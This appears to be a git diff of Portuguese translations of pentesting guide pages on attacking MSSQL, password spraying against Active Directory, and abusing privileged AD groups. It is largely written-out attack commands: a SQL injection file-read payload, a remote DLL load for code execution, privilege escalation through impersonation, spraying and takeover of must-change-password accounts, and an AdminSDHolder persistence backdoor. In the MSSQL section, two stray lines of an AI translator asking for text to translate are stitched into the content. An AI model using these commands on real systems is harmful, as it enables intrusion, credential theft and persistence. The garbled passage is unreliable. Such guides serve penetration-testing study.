@ -303,27 +305,27 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
> EXEC sp_helprotect 'xp_subdirs';
> EXEC sp_helprotect 'xp_fileexist';
> ```
>
> Using tools such as **responder** or **Inveigh** it's possible to **steal the NetNTLM hash**.\
> You can see how to use these tools in:
>
>
> {{#ref}}
Usando ferramentas como **responder** ou **Inveigh** é possível **roubar o hash NetNTLM**.\
Você pode ver como usar essas ferramentas em:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
>
> ### Abusando dos trusted Links do MSSQL
>
> [**Read this post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **para encontrar mais informações sobre como abusar desse recurso:**
>
>
> {{#ref}}
### Abusando de MSSQL trusted Links
[**Leia este post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **para encontrar mais informações sobre como abusar desse recurso:**
{{#ref}}
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
{{#endref}}
>
> ### **Escrever Arquivos**
>
> Para escrever arquivos usando `MSSQL`, nós **precisamos habilitar** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), o que requer privilégios de administrador, e então executar algumas stored procedures para criar o arquivo:
### **Escrever Arquivos**
Para escrever arquivos usando `MSSQL`, precisamos **habilitar** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), o que requer privilégios de administrador, e então executar alguns stored procedures para criar o arquivo:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -343,7 +345,7 @@ EXECUTE sp_OADestroy @OLE
```
### **Ler arquivo com** OPENROWSET
Por padrão, `MSSQL` permite leitura de qualquer arquivo no sistema operacional ao qual a conta tem acesso de leitura. Podemos usar a seguinte consulta SQL:
Por padrão, `MSSQL` permite a **leitura de qualquer arquivo no sistema operacional ao qual a conta tem acesso de leitura**. Podemos usar a seguinte consulta SQL:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
@ -352,11 +354,11 @@ No entanto, a opção **`BULK`** requer a permissão **`ADMINISTER BULK OPERATIO
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```
#### Vetor Error-based para SQLi:
#### Vetor baseado em erro para SQLi:
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/Leitura de arquivos executando scripts (Python e R)**
### **RCE/Ler arquivos executando scripts (Python and R)**
MSSQL pode permitir que você execute **scripts em Python e/ou R**. Esse código será executado por um **usuário diferente** daquele que usa **xp_cmdshell** para executar comandos.
@ -378,11 +380,11 @@ print(sys.version)
'
GO
```
### Ler o Registro
### Ler o Registry
Microsoft SQL Server fornece **múltiplos procedimentos armazenados estendidos** que permitem interagir não apenas com a rede, mas também com o sistema de arquivos e até mesmo o [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
Microsoft SQL Server fornece **múltiplos procedimentos armazenados estendidos** que permitem que você interaja não apenas com a rede, mas também com o sistema de arquivos e até com o [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/):
| **Regular** | **Específico de instância** |
| **Regular** | **Ciente da Instância** |
| --------------------------- | ------------------------------------ |
| sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
@ -403,21 +405,21 @@ Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
Para **mais exemplos** check out the [**original source**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
Para **mais exemplos** confira a [**fonte original**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
### RCE com MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
### RCE with MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
É possível **carregar uma DLL .NET dentro do MSSQL com funções personalizadas**. Isso, no entanto, **requer acesso `dbo`**, então você precisa de uma conexão com o banco de dados **como `sa` ou com papel de Administrador**.
É possível **carregar uma dll .NET dentro do MSSQL com custom functions**. Isso, no entanto, **requer acesso `dbo`**, então você precisa de uma conexão com o banco de dados **como `sa` ou com o papel de Administrador**.
[**Following this link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver um exemplo.
[**Following this link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) to see an example.
### RCE com `autoadmin_task_agents`
### RCE with `autoadmin_task_agents`
De acordo [**to this post**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), também é possível carregar uma DLL remota e fazer o MSSQL executá-la com algo como:
De acordo [**com este post**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), também é possível carregar uma dll remota e fazer o MSSQL executá-la com algo como:
```sql
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
```
Você não incluiu o conteúdo a ser traduzido. Por favor cole o texto (o conteúdo de src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md) que quer que eu traduza — seguirei as regras indicadas sobre não traduzir código, paths, tags e links.
Por favor, cole aqui o conteúdo do arquivo src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md para que eu possa traduzi-lo para português.
```csharp
using Microsoft.SqlServer.SmartAdmin;
using System;
@ -467,15 +469,15 @@ public void Test()
}
}
```
### Outras maneiras para RCE
### Outras formas para RCE
Existem outros métodos para obter execução de comandos, como adicionar [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), e [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
Existem outros métodos para obter execução de comandos, tais como adicionar [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), e [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
## MSSQL Privilege Escalation
## MSSQL Escalada de Privilégios
### De db_owner para sysadmin
Se um **usuário regular** for atribuído ao papel **`db_owner`** sobre o **banco de dados pertencente a um usuário administrador** (como **`sa`**) e esse banco de dados estiver configurado como **`trustworthy`**, esse usuário pode abusar desses privilégios para **privesc**, porque **stored procedures** criadas ali podem **executar** como o proprietário (**administrador**).
Se um **usuário regular** recebe a role **`db_owner`** sobre o **banco de dados pertencente a um admin** (como **`sa`**) e esse banco de dados está configurado como **`trustworthy`**, esse usuário pode abusar desses privilégios para **privesc** porque **stored procedures** criadas ali podem **execute** como o owner (**admin**).
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -513,15 +515,15 @@ Você pode usar um módulo **metasploit**:
```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
Ou um **PS** script:
Ou um script **PS**:
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
```
### Impersonation of other users
### Impersonação de outros usuários
O SQL Server possui uma permissão especial, chamada **`IMPERSONATE`**, que **permite ao usuário executor assumir as permissões de outro usuário** ou login até que o contexto seja reiniciado ou a sessão termine.
SQL Server tem uma permissão especial, chamada **`IMPERSONATE`**, que **permite ao usuário que executa assumir as permissões de outro usuário** ou login até que o contexto seja redefinido ou a sessão termine.
```sql
# Find users you can impersonate
SELECT distinct b.name
@ -542,9 +544,9 @@ enum_links
use_link [NAME]
```
> [!TIP]
> Se você conseguir se passar por um usuário, mesmo que ele não seja sysadmin, você deve verificar **se o usuário tem acesso** a outros **databases** ou linked servers.
Note que, uma vez sysadmin, você pode se passar por qualquer outro:
> Se você consegue se passar por um usuário, mesmo que ele não seja sysadmin, você deve verificar se **o usuário tem acesso** a outros **bancos de dados** ou servidores vinculados.
>
> Observe que, uma vez sysadmin, você pode se passar por qualquer outro:
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
@ -554,7 +556,7 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
```
Você pode realizar este attack com um módulo do **metasploit**:
Você pode realizar este ataque com um módulo do **metasploit**:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
@ -568,28 +570,28 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## Extraindo senhas de Linked Servers do SQL Server
## Extraindo senhas de SQL Server Linked Servers
Um atacante pode extrair senhas de SQL Server Linked Servers a partir das instâncias SQL e obtê-las em texto claro, concedendo ao atacante credenciais que podem ser usadas para adquirir um maior controle sobre o alvo. O script para extrair e descriptografar as senhas armazenadas para os Linked Servers pode ser encontrado [here](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Um atacante pode extrair senhas de SQL Server Linked Servers das SQL Instances e obtê-las em texto claro, fornecendo ao atacante credenciais que podem ser usadas para obter um ponto de apoio maior no alvo. O script para extrair e descriptografar as senhas armazenadas para os Linked Servers pode ser encontrado [here](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Alguns requisitos e configurações devem ser feitos para que esse exploit funcione. Primeiro, você deve ter direitos de Administrator na máquina, ou a capacidade de gerenciar as configurações do SQL Server.
Alguns requisitos e configurações devem ser feitos para que esse exploit funcione. Antes de tudo, você deve ter direitos de Administrador na máquina, ou a capacidade de gerenciar as configurações do SQL Server.
Após validar suas permissões, é necessário configurar três coisas, que são as seguintes:
Após validar suas permissões, você precisa configurar três coisas, que são as seguintes:
1. Habilitar TCP/IP nas instâncias do SQL Server;
2. Adicionar um parâmetro de Start Up, neste caso, será adicionado um trace flag, que é -T7806.
3. Habilitar remote admin connection.
2. Adicionar um parâmetro de inicialização; neste caso, uma trace flag será adicionada, que é -T7806.
3. Habilitar conexão administrativa remota.
Para automatizar essas configurações, [this repository ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)has the needed scripts. Além de ter um script powershell para cada etapa da configuração, o repositório também possui um script completo que combina os scripts de configuração e a extração e descriptografia das senhas.
Para automatizar essas configurações, [this repository ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)has the needed scripts. Além de ter um powershell script para cada etapa da configuração, o repositório também possui um script completo que combina os scripts de configuração e a extração e descriptografia das senhas.
Para mais informações, consulte os seguintes links sobre esse ataque: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
Para mais informações, consulte os seguintes links sobre este ataque: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## Escalada Local de Privilégios
O usuário que executa o MSSQL server terá habilitado o token de privilégio **SeImpersonatePrivilege.**\
Provavelmente você consegui**escalar para Administrador** seguindo uma destas 2 páginas:
O usuário que executa o servidor MSSQL terá habilitado o token de privilégio **SeImpersonatePrivilege.**\
Você provavelmente pode**escalar para Administrador** seguindo uma destas 2 páginas:
{{#ref}}
@ -629,7 +631,7 @@ Provavelmente você conseguirá **escalar para Administrador** seguindo uma dest
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
- [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
## HackTricks Automatic Commands
## HackTricks Comandos Automáticos
```
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.

View File

@ -5,16 +5,16 @@
## **Password Spraying**
Uma vez que você encontrou vários **valid usernames** pode tentar as **common passwords** mais usadas (tenha em mente a password policy do ambiente) com cada um dos usuários descobertos.\
Uma vez que você tenha encontrado vários **valid usernames** você pode tentar as **most common passwords** (lembre-se da password policy do ambiente) com cada um dos discovered users.\
Por **default** o **minimum** **password** **length** é **7**.
Listas de common usernames também podem ser úteis: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Observe que você **could lockout some accounts if you try several wrong passwords** (por padrão mais de 10).
Perceba que você **could lockout some accounts if you try several wrong passwords** (por default mais de 10).
### Get password policy
### Obter password policy
Se você tiver algumas user credentials ou um shell como domain user você pode **get the password policy with**:
Se você tem algumas user credentials ou um shell como domain user você pode **get the password policy with**:
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -31,7 +31,7 @@ net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
```
### Exploração a partir de Linux (ou todos)
### Exploração a partir do Linux (ou todos)
- Usando **crackmapexec:**
```bash
@ -40,6 +40,21 @@ crackmapexec smb <IP> -u users.txt -p passwords.txt
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
- Usando **NetExec (CME successor)** para spraying direcionado e discreto via SMB/WinRM:
```bash
# Optional: generate a hosts entry to ensure Kerberos FQDN resolution
netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts
# Spray a single candidate password against harvested users over SMB
netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \
--continue-on-success --no-bruteforce --shares
# Validate a hit over WinRM (or use SMB exec methods)
netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"
# Tip: sync your clock before Kerberos-based auth to avoid skew issues
sudo ntpdate <DC_FQDN>
```
- Usando [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
```bash
# Password Spraying
@ -47,11 +62,11 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
```
- [**spray**](https://github.com/Greenwolf/Spray) _**(você pode indicar o número de tentativas para evitar bloqueios):**_
- [**spray**](https://github.com/Greenwolf/Spray) _**(você pode indicar o número de tentativas para evitar lockouts):**_
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
- Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NÃO RECOMENDADO, ÀS VEZES NÃO FUNCIONA
- Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NÃO RECOMENDADO. ÀS VEZES NÃO FUNCIONA
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
@ -67,9 +82,9 @@ for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done
```
#### Do Windows
#### A partir do Windows
- Com a versão do [Rubeus](https://github.com/Zer1t0/Rubeus) com o brute module:
- Com [Rubeus](https://github.com/Zer1t0/Rubeus) versão com o módulo brute:
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -77,7 +92,7 @@ done
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- Com [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Ele pode gerar usuários do domínio por padrão e obterá a política de senhas do domínio e limitará as tentativas de acordo com ela):
- Com [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Ele pode gerar usuários a partir do domínio por padrão e obterá a política de senhas do domínio e limitará as tentativas de acordo com ela):
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
@ -85,12 +100,12 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
Invoke-SprayEmptyPassword
```
### Identificar e Assumir Contas "Password must change at next logon" (SAMR)
### Identify and Take Over "Password must change at next logon" Accounts (SAMR)
Uma técnica de baixo ruído é testar uma password benign/empty e identificar contas que retornem STATUS_PASSWORD_MUST_CHANGE, o que indica que a password foi forçada a expirar e pode ser alterada sem conhecer a anterior.
Uma técnica de baixo ruído é fazer password spray com uma senha benigna/vazia e capturar contas que retornem STATUS_PASSWORD_MUST_CHANGE, o que indica que a senha foi forçosamente expirada e pode ser alterada sem conhecer a senha antiga.
Fluxo de trabalho:
- Enumerar utilizadores (RID brute via SAMR) para construir a lista de alvos:
Workflow:
- Enumerar usuários (RID brute via SAMR) para construir a lista de alvos:
{{#ref}}
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
@ -99,12 +114,12 @@ Fluxo de trabalho:
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
```
- Spray uma password vazia e continue nos hits para capturar contas que devem mudar no próximo logon:
- Spray an empty password e continue com os hits para capturar accounts que devem mudar no próximo logon:
```bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
```
- Para cada acerto, altere a senha via SAMR com o módulo do NetExec (não é necessária a senha antiga quando "must change" está definido):
- Para cada hit, altere a senha via SAMR com o módulo do NetExec (nenhuma senha antiga necessária quando "must change" está definida):
```bash
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
@ -114,8 +129,8 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
```
Notas operacionais:
- Certifique-se de que o relógio do host esteja sincronizado com o DC antes de operações baseadas em Kerberos: `sudo ntpdate <dc_fqdn>`.
- Um [+] sem (Pwn3d!) em alguns módulos (por exemplo, RDP/WinRM) significa que as creds são válidas, mas a conta não possui direitos de logon interativo.
- Certifique-se de que o relógio do seu host esteja sincronizado com o DC antes de operações baseadas em Kerberos: `sudo ntpdate <dc_fqdn>`.
- Um [+] sem (Pwn3d!) em alguns módulos (por exemplo, RDP/WinRM) significa que as creds são válidas, mas a conta não tem direitos de logon interativo.
## Brute Force
```bash
@ -123,13 +138,13 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password
```
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
Kerberos pre-authbased spraying reduz o ruído em comparação com tentativas de bind SMB/NTLM/LDAP e se alinha melhor com as políticas de lockout do AD. SpearSpray combina direcionamento orientado por LDAP, um motor de padrões e consciência de políticas (domain policy + PSOs + buffer badPwdCount) para sprayar de forma precisa e segura. Também pode marcar principais comprometidos no Neo4j para pathing do BloodHound.
Kerberos pre-authbased spraying reduz o ruído comparado a tentativas de bind SMB/NTLM/LDAP e alinha-se melhor com as políticas de bloqueio do AD. SpearSpray combina direcionamento baseado em LDAP, um motor de padrões e consciência de políticas (política de domínio + PSOs + buffer badPwdCount) para spray de forma precisa e segura. Também pode marcar principals comprometidos no Neo4j para pathing do BloodHound.
Key ideas:
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
- Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users.
- Política de bloqueio do domínio + filtragem ciente de PSOs para deixar um buffer configurável de tentativas (limiar) e evitar o bloqueio de usuários.
- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
- Pattern-based, per-user password generation using variables like names and temporal values derived from each users pwdLastSet.
- Geração de senhas baseada em padrões, por usuário, usando variáveis como nomes e valores temporais derivados do pwdLastSet de cada usuário.
- Throughput control with threads, jitter, and max requests per second.
- Optional Neo4j integration to mark owned users for BloodHound.
@ -144,7 +159,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
```
Direcionamento e controle de padrão:
Direcionamento e controle de padrões:
```bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
@ -161,7 +176,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
```
Neo4j/BloodHound enriquecimento:
Enriquecimento Neo4j/BloodHound:
```bash
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
```
@ -176,27 +191,27 @@ Visão geral do sistema de padrões (patterns.txt):
```
Available variables include:
- {name}, {samaccountname}
- Temporal from each users pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Composition helpers and org token: {separator}, {suffix}, {extra}
- Temporais a partir de pwdLastSet de cada usuário (ou whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Ajudantes de composição e token da org: {separator}, {suffix}, {extra}
Operational notes:
- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info.
- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in.
- Prefira consultar o PDC-emulator com -dc para ler o badPwdCount mais autoritativo e informações relacionadas à policy.
- Os resets de badPwdCount são acionados na próxima tentativa após a janela de observação; use limiares e temporização para manter-se seguro.
- Tentativas de pré-autenticação Kerberos aparecem como 4768/4771 na telemetria do DC; use jitter e rate-limiting para se misturar.
> Tip: SpearSprays default LDAP page size is 200; adjust with -lps as needed.
## Outlook Web Access
Existem múltiplas ferramentas para p**assword spraying outlook**.
Existem várias ferramentas para p**assword spraying outlook**.
- Com [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- com [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- Com [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- Com [Ruler](https://github.com/sensepost/ruler) (confiável!)
- Com [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- Com [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
Para usar qualquer uma dessas ferramentas, você precisa de uma lista de usuários e de uma password / uma pequena lista de passwords para spray.
Para usar qualquer uma dessas ferramentas, você precisa de uma lista de usuários e uma senha / uma pequena lista de senhas para password spraying.
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
@ -227,6 +242,7 @@ Para usar qualquer uma dessas ferramentas, você precisa de uma lista de usuári
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
- [HTB Sendai 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,59 +2,59 @@
{{#include ../../banners/hacktricks-training.md}}
## Grupos Conhecidos com privilégios de administração
## Grupos bem conhecidos com privilégios de administração
- **Administradores**
- **Administradores de Domínio**
- **Administradores de Empresa**
- **Administrators**
- **Domain Admins**
- **Enterprise Admins**
## Operadores de Conta
## Account Operators
Este grupo tem a autoridade para criar contas e grupos que não são administradores no domínio. Além disso, permite o login local no Controlador de Domínio (DC).
Este grupo está autorizado a criar contas e grupos que não são administradores no domínio. Além disso, permite o login local no Controlador de Domínio (DC).
Para identificar os membros deste grupo, o seguinte comando é executado:
```bash
Get-NetGroupMember -Identity "Account Operators" -Recurse
```
Adicionar novos usuários é permitido, assim como o login local no DC01.
A criação de novos usuários é permitida, assim como o login local no DC.
## Grupo AdminSDHolder
A lista de controle de acesso (ACL) do grupo **AdminSDHolder** é crucial, pois define permissões para todos os "grupos protegidos" dentro do Active Directory, incluindo grupos de alto privilégio. Esse mecanismo garante a segurança desses grupos, impedindo modificações não autorizadas.
A Lista de Controle de Acesso (ACL) do grupo **AdminSDHolder** é crucial, pois define permissões para todos os "protected groups" dentro do Active Directory, incluindo grupos de alto privilégio. Esse mecanismo assegura a segurança desses grupos ao impedir modificações não autorizadas.
Um atacante poderia explorar isso modificando a ACL do grupo **AdminSDHolder**, concedendo permissões totais a um usuário padrão. Isso daria efetivamente a esse usuário controle total sobre todos os grupos protegidos. Se as permissões desse usuário forem alteradas ou removidas, elas seriam automaticamente restauradas dentro de uma hora devido ao design do sistema.
Um atacante poderia explorar isso modificando a ACL do grupo **AdminSDHolder**, concedendo permissões totais a um usuário padrão. Isso daria efetivamente a esse usuário controle total sobre todos os grupos protegidos. Se as permissões desse usuário forem alteradas ou removidas, elas seriam automaticamente restabelecidas dentro de uma hora devido ao design do sistema.
Os comandos para revisar os membros e modificar permissões incluem:
Comandos para revisar os membros e modificar permissões incluem:
```bash
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
```
Um script está disponível para agilizar o processo de restauração: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
Um script está disponível para acelerar o processo de restauração: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
Para mais detalhes, visite [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
## AD Recycle Bin
A adesão a este grupo permite a leitura de objetos do Active Directory deletados, o que pode revelar informações sensíveis:
A associação a este grupo permite a leitura de objetos do Active Directory excluídos, o que pode revelar informações sensíveis:
```bash
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
```
### Acesso ao Controlador de Domínio
### Acesso ao Domain Controller
O acesso a arquivos no DC é restrito, a menos que o usuário faça parte do grupo `Server Operators`, o que altera o nível de acesso.
### Escalação de Privilégios
### Escalada de Privilégios
Usando `PsService` ou `sc` do Sysinternals, é possível inspecionar e modificar permissões de serviços. O grupo `Server Operators`, por exemplo, tem controle total sobre certos serviços, permitindo a execução de comandos arbitrários e a escalação de privilégios:
Usando `PsService` ou `sc` do Sysinternals, é possível inspecionar e modificar permissões de serviços. O grupo `Server Operators`, por exemplo, tem controle total sobre certos serviços, permitindo a execução de comandos arbitrários e a escalada de privilégios:
```cmd
C:\> .\PsService.exe security AppReadiness
```
Este comando revela que `Server Operators` têm acesso total, permitindo a manipulação de serviços para privilégios elevados.
Este comando revela que `Server Operators` têm acesso total, permitindo a manipulação de serviços para elevação de privilégios.
## Backup Operators
A filiação no grupo `Backup Operators` fornece acesso ao sistema de arquivos `DC01` devido aos privilégios `SeBackup` e `SeRestore`. Esses privilégios permitem a travessia de pastas, listagem e capacidades de cópia de arquivos, mesmo sem permissões explícitas, usando a flag `FILE_FLAG_BACKUP_SEMANTICS`. A utilização de scripts específicos é necessária para este processo.
